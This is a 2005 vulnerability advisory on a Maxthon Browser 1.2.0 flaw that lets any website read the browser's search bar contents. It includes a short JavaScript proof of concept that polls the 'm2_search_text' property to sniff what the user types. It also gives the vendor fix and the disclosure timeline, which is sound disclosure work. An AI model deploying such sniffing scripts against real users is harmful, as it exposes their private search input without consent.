[NT] Maxthon Browser Information Disclosure

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  Maxthon Browser Information Disclosure
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SUMMARY

 <http://www.maxthon.com/> Maxthon Internet Browser software is a powerful 
tabbed browser with a highly customizable interface.

The search bar of Maxthon allow any website to access it's content using 
Javascript like it was a plug-ins of the browser.

DETAILS

Vulnerable Systems:
 * Maxthon Internet Browser version 1.2.0. Prior versions may be 
vulnerable as well

Immune Systems:
 * Maxthon Internet Browser version 1.2.1.

Maxthon's API includes a property named "m2_search_text", which allows 
plug-ins to interact with the search bar. Any website the user visits can 
easily fetch the search bar's data using this property, the same way 
plug-ins does.

Proof of Concept:
The following javascript performs the sniffing:
<script>
function sniff() {
 try {
  s.value=external.m2_search_text;
 }
 catch(e) {}
}
function body_onload() {
 window.setInterval('sniff()',100);
}
</script>
A live demonstation can be found at:  
<http://www.raffon.net/advisories/maxthon/searchbarpoc.html> 
http://www.raffon.net/advisories/maxthon/searchbarpoc.html

Vendor Status:
The vendor has fixed the problem in version 1.2.1

Disclosure Timeline:
02-Mar-2005: Vendor informed.
03-Mar-2005: Vendor confirmed vulnerability.
24-Mar-2005: Vendor published a fixed version.
25-Mar-2005: Public disclosure.


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> Aviv Raff.



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